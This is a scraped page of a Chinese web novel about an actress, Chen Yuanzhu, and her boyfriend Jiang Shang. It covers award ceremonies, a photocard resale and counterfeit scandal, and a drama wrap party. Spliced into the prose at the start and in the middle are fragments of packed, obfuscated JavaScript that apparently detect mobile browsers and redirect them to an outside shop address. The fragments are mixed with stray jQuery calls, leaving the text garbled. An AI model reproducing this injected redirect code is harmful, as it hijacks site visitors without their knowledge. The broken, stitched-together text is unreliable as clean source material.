0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037616|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头，靠在他的肩膀上，「不仅因为小卡受到了大家的喜欢，更因为我们能用这种方式，帮助到那些需要帮助的孩子们。」 「你总是这么善良。」江殇低头吻了吻她的额头，声音里满是骄傲，「能遇到你，是我这辈子最大的幸运。」 陈杬祝抬头看向他，眼底满是爱意：「我也是。」 晚风轻轻吹过，带着淡淡的花香。两人的手握在一起，指尖的温度，温暖了整个夜晚。 陈杬祝知道，这520张限定小卡，不仅是她和粉丝们之间的浪漫约定，更是她人生路上的一个重要印记。它见证了她的成长，见证了她的努力，也见证了她和粉丝们之间最真挚的感情。 未来的路还很长，陈杬祝已经做好了准备。她要带着粉丝们的喜欢和支持，带着自己的初心和善良，在属于自己的舞台上，继续发光发热，用更多优秀的作品，回报每一个喜欢她的人。 年末的国内时尚盛典红毯上，星光璀璨，衣香鬓影。陈杬祝身着一袭香槟色拖尾长裙，裙摆上缀满细碎的碎钻，行走间宛如将星河披在了身上。江殇则以一身黑色高定西装相伴，两人并肩而行，举手投足间皆是默契，瞬间成为全场焦点。 这场盛典最受瞩目的环节，莫过于「年度时尚大赏」的各项奖项颁布，而其中分量最重的，便是「年度最佳杂志封面」。当主持人用略带悬念的语气念出提名名单时，台下的聚光灯瞬间打向了陈杬祝的方向——《精彩飞演》那组黑金封面，早已成为今年时尚圈的标志性作品。 「获得本届时尚盛典年度最佳杂志封面的是——《精彩飞演》十一月刊，陈杬祝！」 话音落下的瞬间，全场灯光骤然聚焦，激昂的背景音乐响起。陈杬祝微微睁大了眼睛，眼底闪过一丝惊喜与不可置信，随即被浓浓的笑意取代。江殇侧头看向她，眼底的宠溺与骄傲几乎要溢出来，他轻轻拍了拍她的手背，低声道：「去吧，我的女主角。」 陈杬祝深吸一口气，整理了一下裙摆，缓步走上领奖台。从颁奖嘉宾手中接过那座晶莹剔透的水晶奖杯时，她的指尖微微颤抖。站在话筒前，台下的掌声与欢呼声渐渐平息，她的声音清甜却坚定，透过音响传遍整个场馆： 「谢谢时尚盛典，谢谢《精彩飞演》的全体团队，是你们的专业与创意，让我有了这样一次完美的尝试。还要谢谢所有喜欢这组封面的朋友，谢谢你们的认可。」她顿了顿，目光穿过人群，落在江殇的身上，眼底瞬间漾起温柔的涟漪，「最后，特别感谢一个人，他总是在我身后，给我最大的支持与鼓励。因为有他，我才更有勇气去突破自己，去尝试更多可能。」 没有指名道姓，但所有人都知道她在说谁。台下的江殇嘴角噙着温柔的笑，目光寸步不离地锁着她，仿佛整个世界只剩下他们两人。 颁奖礼结束后，#陈杬祝 年度最佳杂志封面# #陈杬祝红毯星河裙# 两个词条瞬间冲上热搜榜首，相关话题的阅读量在一小时内突破十亿。 《精彩飞演》官方微博第一时间发布了庆祝海报，配文：「实至名归！恭喜陈杬祝老师！这组封面不仅是杂志的荣耀，更是属于每一个热爱她的人的惊喜！感谢陈老师的完美演绎，未来我们继续携手，创造更多精彩！」 海报上，陈杬祝的黑金封面与香槟色红毯造型同框，一边是冷艳霸气的妖王气场，一边是温柔璀璨的星河浪漫，两种风格碰撞出极致的美感。 陈杬祝的微博评论区瞬间被粉丝的祝福与欢呼刷屏： 「呜呜呜！年度最佳杂志封面！实至名归啊！这组黑金封面谁看了不喊一声绝！」 「从华胥到杂志封面，陈杬祝用实力证明了什么叫颜值与演技并存，时尚与实力双修！」 「红毯的星河裙也太好看了吧！姐姐就是坠美的！奖杯拿在手里的样子，简直是女王本王！」 「谁懂啊！领奖时看向江老师的那个眼神，温柔得能滴出水来！真情侣就是最甜的！」 「这一年，杬祝姐从《配角人生》的林春夏，到《许你金耀》的华胥，再到《精彩飞演》的年度最佳封面，一路开挂，未来可期！」 时尚博主与影评人们也纷纷发声，对陈杬祝的这次获奖给予了高度评价： 「陈杬祝的这组《精彩飞演》封面，是今年时尚圈的最大惊喜。她完美驾驭了黑金的冷艳与米白的温柔，红裙的婉约与华胥的霸气，将演员的可塑性与时尚的表现力完美融合，获奖实至名归。」 「从影视角色到时尚封面，陈杬祝完成了一次漂亮的跨界。她用自己的实力证明，优秀的演员不仅能演活角色，更能在时尚领域绽放出独特的光芒。」 「年度最佳杂志封面，是对陈杬祝时尚表现力的最高认可。而这背后，是她对每一个细节的极致追求，是她对每一种风格的精准把握。未来，我们期待看到更多面的陈杬祝。」 而此时，陈杬祝正和江殇坐在庆功宴的包厢里，手中还捧着那座沉甸甸的奖杯。江殇为她倒了一杯香槟，声音里满是骄傲：「恭喜你，我的年度最佳封面女主角。」 「谢谢你，江殇。」陈杬祝接过酒杯，轻轻碰了一下他的杯子，眼底满是笑意，「如果没有你，我可能不会有勇气去尝试这么大的风格突破。」 「你值得所有的荣耀。」江殇放下酒杯，伸手将她揽入怀中，低头吻了吻她的发顶，「从林春夏到华胥，从直播间到杂志封面，你每一次的成长，我都看在眼里，记在心里。」 陈杬祝靠在他的胸口，听着他有力的心跳，嘴角的笑意止不住地蔓延。她想起拍摄《精彩飞演》封面的那天，江殇在棚外等了她整整八个小时；想起小卡预售时，他陪着她一起关注粉丝的反应；想起得知杂志获奖时，他比她还要激动的样子。 这些温暖的瞬间，一点一滴，汇聚成了她前进的动力。 「对了。」陈杬祝突然抬起头，眼睛亮晶晶地看着江殇，「《精彩飞演》的主编刚才跟我说，他们想邀请我们一起拍一组情侣封面，作为明年开年的重磅策划，你愿意吗？」 「愿意。」江殇毫不犹豫地点头，眼底闪过一丝期待，「只要是和你一起，无论做什么，我都愿意。」 陈杬祝的脸颊微微泛红，她伸手环住他的脖子，将自己的唇凑了上去。香槟的清甜与两人的甜蜜交织在一起，在这个温馨的夜晚，绽放出最动人的光芒。 庆功宴结束后，两人手牵手走在回家的路上。夜色如墨，星光璀璨，路灯的光线将两人的身影拉得很长很长。陈杬祝的手里还拿着那座水晶奖杯，奖杯的光芒在夜色中闪烁，如同她此刻的心情。 「你知道吗？」陈杬祝抬头看向江殇，声音里带着一丝感慨，「一年前，我还在为林春夏这个角色而努力，而现在，我已经拿到了年度最佳杂志封面的奖杯。」 「这只是一个开始。」江殇低头看她，声音坚定而温柔，「未来，你会站在更高的舞台上，拿到更多的奖杯，成为更多人的光。」 「我知道。」陈杬祝点了点头，靠在他的肩膀上，嘴角挂着甜甜的笑容，「因为有你在我身边。」 晚风轻轻吹过，带着淡淡的花香。两人的手握在一起，指尖的温度，温暖了整个夜晚。 陈杬祝知道，这座年度最佳杂志封面的奖杯，是她人生路上的一个重要里程碑。它见证了她的成长，见证了她的努力，也见证了她和江殇之间最真挚的爱情。 未来的路还很长，她会带着这份荣耀，带着粉丝们的喜欢，带着江殇的支持，继续在属于自己的舞台上发光发热。无论是影视角色，还是时尚封面，她都会用最认真的态度，去诠释每一个角色，去完成每一次挑战。 戏里的华胥，是男主心底的顶级朱砂痣；戏外的陈杬祝，正在用自己的实力，成为娱乐圈里一颗不可替代的璀璨星辰。而这颗星辰的身边，永远有另一颗星辰相伴，一起走过未来的每一段路。 余生漫漫，皆是你。 这一切，仿佛都是最好的安排。 30. 理智[番外] 陈杬祝《精彩飞演》限定小卡交付完毕的第三个月，二手交易平台彻底成了粉丝们的“修罗场”。那520张承载着浪漫与稀缺性的小卡，市价早已突破最初的预期，一路水涨船高，绝大多数款式的成交价都稳稳站上了7000元的高位，个别热门款更是拍出了令人咋舌的价格。 最先破万的是华胥仿妆款小卡。这款对应着陈杬祝封神角色的小卡，本身就因“妖王”滤镜自带高人气，再加上背后那句“许你金耀，护我心安”的专属文案，成了粉丝们心中的“白月光”。平台上挂出的现货寥寥无几，但凡有人标出自出，评论区瞬间被“蹲”“可小刀吗”“诚心收”刷屏。有粉丝晒出自己的成交记录，一张华胥仿妆款小卡，最终以12800元的价格成交，远超同系列其他款式。 紧随其后的是向日葵暖系款。背后那句“余生漫漫，皆是你”的文案，精准戳中了磕陈杬祝与江殇真情侣的粉丝的心。这款小卡的市价稳定在8000-9000元之间，偶尔出现未拆封的全新品，价格能直接飙升至11000元。有粉丝感慨：“这哪里是小卡，这是爱情的见证啊，多少钱都值得。” 即便是相对“冷门”的红裙婉约款，市价也轻松突破了7000元大关。江南水乡的婉约造型，搭配“江南无所有，聊赠一枝春”的诗意文案，让不少偏爱古风的粉丝趋之若鹜。平台上挂出的红裙款小卡，标价普遍在7500元左右，且大多标注“不刀”“随缘出”，可见其稀缺性。 黑金霸总款和米白温柔款的市价则相对稳定，分别维持在7800元和7200元上下。黑金款的“锋芒在骨，温柔在怀”，米白款的“心有向日葵，何惧风雨来”，各自对应着陈杬祝的不同魅力，吸引了不同喜好的粉丝。有粉丝笑称：“现在的小卡市场，没有7000块，都不敢说自己想收一张杬祝的限定卡。” 除了单卡交易，还有粉丝开始追求“全套五张”的收藏。一套完整的陈杬祝限定小卡，在二手平台上的标价高达45000元，且有价无市。偶尔有藏家愿意割爱，消息一出，立刻会被数十位粉丝争抢，最终的成交价往往会超出标价。 陈杬祝超话里，每天都有粉丝分享自己的“收卡日记”。有人为了一张华胥仿妆款，攒了三个月的工资；有人为了凑齐全套，跑遍了各个二手平台，甚至托海外的朋友帮忙留意；还有人组建了“换卡群”，希望能用自己手中的重复款式，换到心心念念的那一张。 同时，也有不少粉丝对天价小卡表示无奈。“本来是粉丝和偶像之间的浪漫约定，现在却成了黄牛和藏家的牟利工具。”“7000块一张小卡，已经超出了普通学生粉的承受范围，只能远远看着。”“希望以后能多推出一些不限量的周边，让更多粉丝能拥有属于自己的纪念。” 而陈杬祝本人，在一次线下活动的后台，从经纪人那里得知了小卡的市价。她微微蹙眉，声音里带着一丝担忧：“没想到会变成这样，我只是想和粉丝们有一个小小的约定，不是想让大家花这么多钱。” 经纪人连忙安慰道：“这也从侧面证明了大家有多喜欢你。我们已经和《精彩飞演》沟通了，未来会推出更多平价的周边，满足不同粉丝的需求。” 江殇站在一旁，伸手握住陈杬祝的手，温柔地说：“别担心，粉丝们都懂你的心意。那些天价小卡，更多的是藏家的行为，真正的粉丝，会理性对待的。” 陈杬祝点了点头，眼底的担忧渐渐散去。她抬头看向窗外，阳光正好，洒在她的脸上，带着温暖的光芒。她知道，自己能做的，就是用更好的作品回报粉丝们的喜爱，让这份支持，变得更加有意义。 当晚，陈杬祝在自己的小号@一颗幸运草上，发了一张自己拿着限定小卡的自拍。照片里的她，穿着简单的白色T恤，笑容温柔。配文是：“每一张小卡，都承载着我们的回忆。希望大家都能理性收藏，快乐追星。[心]” 这条动态发出后，评论区里满是粉丝的理解与支持： “呜呜呜！杬祝姐太暖心了！我们会理性追星的！” “谢谢杬祝姐的提醒！小卡是回忆，不是牟利的工具！” “希望未来能有更多平价周边！我们一定会支持的！” “杬祝姐放心！我们会一直陪在你身边，用最理性的方式，守护最美好的你！” 而二手平台上的天价小卡交易，依旧在继续。但所有人都知道，那些小卡的价值，不仅仅在于它的稀缺性，更在于它承载着陈杬祝与粉丝们之间，那段独一无二的美好回忆。 陈杬祝小号@一颗幸运草晒出的那张华胥仿妆款小卡，本就是520张限定里的顶流，随着她亲自下场互动，市价彻底冲破天花板——二手平台上的现货标价稳定在1.5万元以上，最高一笔私下交易更是拍出了2.3万元的天价，成了粉丝圈公认的“卡圈神话”。可热度登顶的同时，仿制品也悄无声息地涌入了市场。 最先发现不对劲的是一位资深粉丝。她蹲了两个月才高价收来一张华胥仿妆小卡，到手后却越看越别扭：正版的磨砂卡面带着细腻的颗粒感，烫金边缘圆润饱满，而这张卡不仅手感发滑发亮，金刃图案的边缘还带着明显毛刺，连背后“许你金耀，护我心安”的文案字体都略扁，陈杬祝的亲笔签名更是僵硬死板，完全没有真签的流畅笔锋。 她带着卡片对比官方样图，又翻出其他粉丝的开箱视频逐一比对，最终确定自己买到了假货。愤怒之下，她在超话发了长帖，详细列出真假卡的区别： - 材质工艺：真卡是0.4mm厚的哑光磨砂覆膜，灯光下不反光，仿卡用的是廉价亮面材质，薄且脆，弯折时毫无韧性； - 印刷细节：真卡华胥的眼妆色彩细腻，金瞳光泽自然，仿卡色调灰暗偏色，像素点模糊，连服饰上的蟒纹都印得模糊不清； - 防伪标识：真卡右下角有一个极小的圆形凸起防伪点，仿卡完全没有，甚至卡背的官方编码字体都有细微差异。 帖子一出，超话瞬间炸了锅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037617|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少粉丝跟风晒出自己的“踩坑经历”：有人花8000元买了“低价捡漏款”，结果是仿卡；有人通过私人微信交易，付了钱却被拉黑；还有人收了三张卡，最后发现只有一张是真的。更让人揪心的是，有学生粉丝攒了半年生活费，满心欢喜收到的却是假货，崩溃到在评论区哭着求助。 仿卡的泛滥让二手市场陷入信任危机。原本“看实拍+走平台”的交易规则，现在变成了“要多角度视频+逐帧核对细节+提供购买凭证”，甚至出现了专门的“鉴卡师”，一次鉴定收费就要200元。可即便如此，还是有粉丝中招——有些高仿卡能模仿材质和印刷，唯独签名的油墨立体感和收尾笔触骗不了人，可新手粉丝根本难以分辨。 更过分的是，有黄牛把仿卡和真卡混在一起卖“福袋”，声称“必出热门款”，不少粉丝花几千元开袋，到手全是仿卡，维权时却因为没有明确约定而举证困难。二手平台上，华胥仿妆款的挂拍量突然暴增，标价从3000元到1.5万元不等，低价仿卡鱼目混珠，让真正想收藏的粉丝望而却步。 陈杬祝团队很快注意到了仿卡乱象。经纪人第一时间联系了《精彩飞演》杂志方，联合发布了官方鉴别指南，不仅详细标注了真卡的材质、尺寸、防伪点等关键信息，还公布了官方核验通道，粉丝可上传卡片细节图申请官方鉴定。 随后，陈杬祝的工作室发布声明：“严厉谴责任何侵犯知识产权、制作销售仿冒周边的行为，已委托律师事务所调查取证，将对涉事商家及个人追究法律责任。同时提醒粉丝通过正规渠道交易，务必留存交易凭证和开箱视频，维护自身合法权益。” 陈杬祝也在大号转发了声明，配文：“每一份喜欢都该被尊重，不想大家的真心被假货消耗。已经在和杂志方沟通，会推出带专属防伪码的复刻纪念款，让更多人能安心拥有这份回忆。” 官方的介入让仿卡嚣张气焰收敛不少，二手平台也开始下架疑似仿冒商品，对高频售卡且无凭证的账号进行限流。粉丝们则自发组织“打假小队”，在超话持续更新鉴卡攻略，曝光黑心卖家的账号和聊天记录，帮助被骗粉丝维权。 那位最先发现仿卡的资深粉丝，在收到官方鉴卡结果后，成功通过平台追回了损失。她在超话更新后续时写道：“我们收藏小卡，藏的是对杬祝的喜欢，对《许你金耀》的回忆，不是让黄牛和造假者牟利的工具。希望大家都能理性收卡，别让热爱变成被收割的软肋。” 而此时的陈杬祝，看着粉丝们的留言，心里五味杂陈。她没想到自己随手发的一张自拍，会引发这么多风波。江殇坐在她身边，轻轻拍着她的后背安慰：“你已经做得很好了，及时提醒大家，还准备了复刻款，粉丝们都懂你的心意。” 陈杬祝点了点头，指尖划过手机里真卡的照片。她知道，小卡的价值从不是价格标签，而是粉丝与她之间的情感联结。这场打假风波，或许能让大家更理性地看待周边收藏，也让这份喜欢，回归最纯粹的本质。 31. 我们永远是我们 陈杬祝的年度影视盛典晚会当晚，星光大道被无数闪光灯照得如同白昼，各路明星身着高定礼服依次登场，唯有入口处的两个身影，显得格外特别。 沈司南穿的不是西装革履，而是一身剪裁合体的深色苗绣长衫，衣摆处暗绣着苗岭特有的缠枝纹，腰间挂着那枚磨得发亮的铜铃，步伐沉稳，眉眼间带着苗寨祭祀独有的肃穆与沉静。他本就不是追名逐利的人，若不是陈杬祝亲自发来邀请，说想让他看看自己站在舞台上的样子，他绝不会踏足这喧嚣的名利场。 身边的许祭则是另一番模样，一身极简的黑色手工西装，没有多余的装饰，只在领口别了一枚低调的银色领针。他话不多，周身带着一股生人勿近的清冷气质，却始终与沈司南并肩而行，步伐不疾不徐，显然是提前做好了功课，知道该如何在这样的场合里，为沈司南挡去不必要的纷扰。 两人一出场，就吸引了不少目光。记者们的镜头先是对准了气质清冷的许祭，待看清沈司南身上的苗绣长衫和腰间的铜铃时，眼中都闪过一丝疑惑——这两张面孔，既不是当红明星，也不是圈内大佬，怎么会出现在这场顶级盛典的嘉宾席上？ 好在主办方早有安排，引座员快步上前，恭敬地将两人引向观众席前排的位置——那是陈杬祝特意为他们留的，就在江殇的身边。 江殇看到两人，眼中露出一抹温和的笑意，主动起身与他们握手。“司南，许祭，你们来了。” 沈司南微微颔首，铜铃轻轻晃动，发出一声清脆的响。“杬祝说，今晚有重要的奖项要颁。” 许祭则是淡淡点头，目光扫过舞台方向，声音清冷却带着一丝不易察觉的关切：“她准备得很充分。” 三人刚落座，舞台上的灯光便暗了下来，主持人用激昂的声音宣布，年度最佳女主角的提名名单即将揭晓。 观众席瞬间安静下来，沈司南下意识地坐直了身子，指尖轻轻摩挲着腰间的铜铃。他虽不懂娱乐圈的奖项意味着什么，却知道这是对陈杬祝演技的认可，是她多年来努力的见证。许祭则是双手交叠放在膝上，目光平静地落在舞台中央的大屏幕上，只是紧握的指节，泄露了他心底的一丝紧张。 大屏幕上依次闪过几位提名女演员的作品片段，当陈杬祝饰演的华胥出现在屏幕上时，全场爆发出一阵热烈的掌声。沈司南看着画面中那个金红色蟒纹长袍加身、眼神孤绝的妖王，眼中闪过一丝恍惚——他还记得陈杬祝在苗寨采风时，穿着简单的素色布衣，跟着寨里的老人学唱山歌的样子，如今她站在聚光灯下，已然成为了万众瞩目的女主角。 “获得本届年度最佳女主角的是——”主持人故意拖长了声音，目光扫过台下，最终落在陈杬祝的方向，“《许你金耀》，陈杬祝！” 话音落下的瞬间，全场掌声雷动，灯光瞬间聚焦在陈杬祝的身上。她身着一袭香槟色拖尾长裙，裙摆上缀满细碎的碎钻，缓缓起身，先是与身边的江殇深情对视，随后目光越过人群，落在了沈司南和许祭的身上。 她的眼中带着泪光，却又闪烁着坚定的光芒，对着两人的方向，轻轻点了点头。 沈司南的嘴角，终于露出了一抹浅淡的笑容。他缓缓抬手，轻轻晃动了一下腰间的铜铃，清脆的铃声在喧嚣的会场中，虽微弱却清晰——那是苗寨最诚挚的祝福，祝自己守护的人，得偿所愿，光芒万丈。 许祭则是缓缓起身，对着舞台的方向，微微躬身。这个简单的动作，胜过千言万语，是他对陈杬祝最大的认可，也是对他们之间友情的最好见证。 陈杬祝一步步走上领奖台，从颁奖嘉宾手中接过那座晶莹剔透的水晶奖杯。站在话筒前，她的声音带着一丝颤抖，却又无比坚定： “谢谢评委，谢谢《许你金耀》的全体团队，谢谢我的粉丝们。”她顿了顿，目光再次越过人群，落在沈司南和许祭的身上，眼底的温柔几乎要溢出来，“还要谢谢两位特别的朋友。一位来自千里之外的苗岭，他让我懂得，什么是刻进骨血里的守护；一位始终站在我的身后，用他的方式，默默支持着我。” “没有你们，就没有今天的陈杬祝。” 台下的沈司南，铜铃又轻轻响了一声。许祭的眼中，也难得地闪过一丝暖意。江殇坐在他们身边，伸手轻轻拍了拍两人的肩膀，眼中带着不言而喻的默契。 晚会结束后，陈杬祝特意避开了媒体的围堵，带着江殇来到了后台的休息间。沈司南和许祭正坐在沙发上，一人安静地看着窗外的夜景，一人低头把玩着手中的手机。 “你们怎么不等我？”陈杬祝的声音带着一丝雀跃，身上还穿着那身香槟色的长裙，手中紧握着那座奖杯。 沈司南抬头，看着她眼中的光芒，轻声道：“恭喜你，杬祝。你值得所有的荣耀。” 许祭也放下手机，点了点头，声音依旧清冷，却多了一丝温度：“实至名归。” 陈杬祝走到两人身边，将奖杯放在桌上，眼眶微微泛红：“如果不是你们，我可能早就放弃了。当年在苗寨，是你告诉我，无论遇到什么困难，都要守住自己的初心；还有你，每次我遇到挫折，都是你默默帮我处理好一切，让我能安心拍戏。” 江殇从身后轻轻揽住她的肩膀，温柔地说：“他们都是你生命中很重要的人。” “是啊。”陈杬祝靠在江殇的怀里，看着沈司南和许祭，嘴角扬起一抹幸福的笑容，“你们都是我生命中，最珍贵的礼物。” 休息间的灯光柔和，映着四人的身影，温馨而美好。沈司南腰间的铜铃偶尔发出一声清脆的响，许祭的脸上难得地露出一抹浅淡的笑，江殇的眼底满是宠溺，而陈杬祝的手中，紧握着那座象征着荣耀的奖杯。 这一刻，没有聚光灯，没有闪光灯，只有最真挚的友情和爱情，在这小小的休息间里，静静流淌。 沈司南看着窗外的星空，轻声道：“苗岭的星星，和这里的一样亮。” 许祭淡淡接话：“只要心向光明，无论在哪里，都能看到星光。” 陈杬祝笑了，眼底的泪光闪烁着星光：“有你们在，我的星空，永远明亮。” 《见笑》的杀青戏定在凌晨三点的青山之巅，山风卷着云雾，将陈杬祝身上的素色戏服吹得猎猎作响。 这是秋含香生命的最后一幕——她站在悬崖边，脚下是被凶兽践踏得满目疮痍的故土，身前是即将冲破封印的巨兽。指尖凝起的淡金色法术光晕，映亮了她苍白却决绝的脸。她抬手抹去嘴角的鲜血，声音带着破碎的坚定，一字一句道：“以我之魂，封你之躯；以我之命，护我之乡。” 话音落，她纵身跃下悬崖，淡金色的光芒瞬间吞噬了她的身影，也吞噬了那只穷凶极恶的凶兽。青山之上，云雾翻涌，只留下一根木簪，从空中缓缓飘落，坠在长满青草的崖边。 “卡——！杀青！” 导演李禾的声音带着难以抑制的激动，打破了山顶的寂静。工作人员们瞬间沸腾起来，纷纷鼓掌欢呼，手中的烟花棒燃起来，在凌晨的云雾里炸开一片绚烂的光。 陈杬祝被工作人员从安全绳上解下来时，眼眶还红着，脸上的泪痕未干，身上的戏服早已被山风吹得冰冷。她还没从秋含香的情绪里抽离出来，指尖似乎还残留着法术光晕的灼热，心口的位置，像是真的被掏空了一块。 江殇快步走上前，将一件厚厚的羊绒大衣披在她身上，又递过一杯温热的姜茶。他的指尖轻轻拂过她的脸颊，替她擦去残留的泪痕，声音温柔得能溺死人：“辛苦了，我的秋含香。” 陈杬祝靠在他的怀里，终于忍不住落下泪来。不是为了秋含香的悲壮，而是为了这个角色，为了这段时间的朝夕相伴，为了那句“护我之乡”的执念。“她太苦了，江殇。她明明那么爱这个世界，却不得不亲手结束自己的生命。” “我知道。”江殇轻轻拍着她的后背，声音里满是心疼，“但你演活了她。从今往后，所有人都会记住，有一个叫秋含香的女孩，用生命守护了自己的家乡。” 剧组的杀青宴就摆在山脚下的民宿里，没有奢华的布置，只有一张张熟悉的笑脸。导演李禾举着酒杯，走到陈杬祝身边，眼中满是赞赏：“杬祝，谢谢你。是你让秋含香活了过来。这部剧，因为有你，才变得完整。” “谢谢导演，谢谢大家。”陈杬祝举起酒杯，对着剧组的所有人微微鞠躬，“这段时间，谢谢大家的照顾。能和大家一起完成《见笑》，是我的荣幸。” 宴会上，大家纷纷向陈杬祝敬酒，说着祝福的话。她来者不拒，却在江殇的暗中提醒下，悄悄换成了果汁。看着身边忙碌的工作人员，看着那些熟悉的面孔，陈杬祝的心里满是不舍。 杀青宴过半，陈杬祝的手机震动了一下。是沈司南发来的短信，只有简单的一句话：“青山已安，秋含香归。等你回苗寨。” 她的嘴角瞬间扬起一抹温柔的笑，回复道：“很快就回。带江殇一起，尝尝你酿的米酒。” 刚放下手机，又收到了许祭的消息。依旧是他一贯的风格，简洁明了：“杀青快乐。后续的宣传行程，我已经帮你排好。” 陈杬祝笑着回复：“辛苦你了，许祭。等我回去，请你吃饭。” 夜色渐深，杀青宴渐渐落下帷幕。陈杬祝和江殇手牵手走在回民宿的小路上，月光透过云雾，洒在两人身上，形成一片朦胧的光影。 “你知道吗？”陈杬祝抬头看向江殇，声音里带着一丝感慨，“从进组到杀青，整整三个月。我好像真的做了一场梦，梦里我是秋含香，是那个身怀法术，守护家乡的女孩。” “那是一场很美的梦。”江殇低头看她，眼底满是宠溺，“而现在，梦醒了。我的陈杬祝，回来了。” “嗯。”陈杬祝点了点头，靠在他的肩膀上，嘴角挂着甜甜的笑容，“我回来了。带着秋含香的执念，也带着属于我自己的勇气。” 第二天一早，陈杬祝工作室正式发布了《见笑》杀青的消息。微博上，配了一张陈杬祝穿着戏服的背影照——她站在青山之巅，云雾缭绕在她的身边，手中紧握着那根木簪，背影孤独却坚定。 配文：“青山不语，岁月留痕。历时三月，《见笑》正式杀青！感谢秋含香的到来，让我们懂得了守护的意义。@见笑官微 @导演李禾敬请期待，不负相遇。” 消息一出，评论区瞬间炸开锅，#陈杬祝 见笑杀青# #秋含香 以命护乡# 两个词条光速登顶热搜。 “呜呜呜！杀青快乐！我的秋含香终于杀青了！一想到她的结局，我就想哭！” “三个月的拍摄辛苦啦！杬祝姐的背影照太有感觉了！孤独又坚定，这就是秋含香本人啊！” “从华胥到秋含香，杬祝姐的每一个角色都让我印象深刻！已经开始期待《见笑》了！” “杀青快乐！希望杬祝姐好好休息，不要太累了！我们会一直等《见笑》开播的！” 而陈杬祝本人，也在工作室微博发布后，更新了自己的个人微博。配图依旧是那张青山之巅的背影照，配文只有一句话，却藏着无尽的深情与不舍：“秋含香，再见。@沈司南” 这条微博发出的瞬间，粉丝们瞬间明白了她的心意。 “‘青山已安，秋含香归’！这是和沈司南的约定啊！” “秋含香守护了青山，沈司南守护了苗岭！他们都是最棒的守护者！” “杀青快乐！杬祝姐快去苗寨找沈司南吧！我们等你回来！” 远在苗寨的沈司南，看到陈杬祝的微博后，轻轻晃动了一下腰间的铜铃。清脆的铃声在苗岭的晨风中回荡，像是在回应着她的告别，也像是在迎接她的归来。 许祭则是第一时间转发了陈杬祝的微博，配文：“杀青快乐。好好休息。” 陈杬祝放下手机，看着窗外渐渐升起的太阳，嘴角扬起一抹灿烂的笑容。她知道，秋含香的故事已经结束，但她的故事，还在继续。 接下来的日子，她可以好好休息一段时间，去苗寨看看沈司南，尝尝他酿的米酒，听听苗岭的风声。然后，带着全新的自己，迎接属于她的下一个角色，下一个挑战。 戏里的秋含香，用生命守护了家乡。戏外的陈杬祝，用演技守护了角色。而未来的她，会带着这份守护的执念，在属于自己的舞台上，继续发光发热。 陈杬祝的微博更新提示弹出时，恰逢《见笑》杀青后的首个清晨，她刚在山脚下的民宿里收拾好行囊，手机屏幕映着窗外漫进的薄雾晨光，显得格外温柔。 这条微博没有多余的配图，只有一张随手拍的风景照——镜头里是蜿蜒向远方的盘山公路，路边的野草挂着晶莹的露珠，远处的青山隐在云雾里，像极了苗寨清晨的模样。 配文简单却满是雀跃的欢喜，末尾明晃晃地@了绫司司： 「打包好所有的疲惫与欢喜，下一站，苗岭！司司快回苗寨啦！@绫司司」 微博发出的瞬间，评论区立刻被粉丝的热情刷屏，#陈杬祝 苗寨之行# #绫司司快回苗寨# 两个词条迅速登上热搜广场： 「呜呜呜！杀青快乐后的第一个好消息！杬祝姐要回苗寨了！」 「绫司司快出来！你的好朋友喊你一起回苗寨啦！这是什么神仙友情！」 「苗寨的风要吹到杬祝姐身边了！已经开始脑补她穿苗服唱山歌的样子！」 「沈司南：终于等到你！米酒已经酿好了吧！」 「江老师是不是也一起去？想看两人在苗寨的甜蜜日常！」 绫司司的回复来得比谁都快，几乎是陈杬祝微博发出的同一时间，她直接在评论区置顶了自己的留言，字里行间的激动都要溢出屏幕： 「收到！！！我已经买好最早一班的高铁票了！带着我新学的苗绣手帕，马上到！！！」 紧随其后，绫司司也更新了自己的微博，配图是一张高铁票的照片，终点正是苗寨所在的县城，配文同样@了陈杬祝： 「奔赴我的女孩和苗岭的风！@陈杬祝 苗寨见！」 陈杬祝看着绫司司的回复，忍不住弯起了嘴角，指尖快速敲下一条评论回复她：「我和江殇在寨口等你，沈司南说，他酿的米酒已经温好了。」 江殇站在她身边，帮她拎过收拾好的行李箱，眼底满是宠溺的笑意：「都准备好了？沈司南昨晚还发消息来，说寨里的老人都在盼着你回去。」 「嗯。」陈杬祝点了点头，将手机揣进兜里，伸手挽住江殇的胳膊，「终于可以好好休息一段时间了。不用背剧本，不用吊威亚，就安安静静地在苗寨待着，跟着司司去采野果，听沈司南讲苗寨的故事。」 两人刚走出民宿，就看到剧组的工作人员特意赶来送行。导演李禾笑着递给她一个精致的木盒，里面装着的正是秋含香那根木簪：「这是给你的纪念。秋含香守护了青山，而你，值得拥有所有的美好。」 陈杬祝接过木簪，指尖轻轻摩挲着光滑的木面，眼眶微微泛红：「谢谢导演。我会好好珍藏的。」 车子缓缓驶离民宿，向着盘山公路的方向开去。陈杬祝靠在车窗边，看着窗外不断倒退的青山绿水，心情渐渐变得平静而愉悦。 她想起自己第一次去苗寨的样子，带着对未知的好奇，穿着简单的素色布衣，跟着沈司南走遍了寨里的角角落落；想起绫司司第一次陪她去苗寨时，两人在寨口的老榕树下许下的约定，说以后要一起再来，看苗寨的油菜花，听苗寨的铜铃声。 如今，约定终于要实现了。 车子行驶到半路，陈杬祝的手机又响了一下，是许祭发来的消息：「行程已确认，苗寨的住宿和车辆都已安排妥当。好好享受假期，宣传的事情不用操心。」 陈杬祝笑着回复：「辛苦你了，许祭。等我回来，给你带苗寨的特产。」 放下手机，她转头看向身边的江殇，眼底满是笑意：「你说，司司看到苗寨的新模样，会不会激动得跳起来？」 「会。」江殇点了点头，伸手揉了揉她的头发，「就像你每次看到苗寨的铜铃，都会忍不住笑一样。」 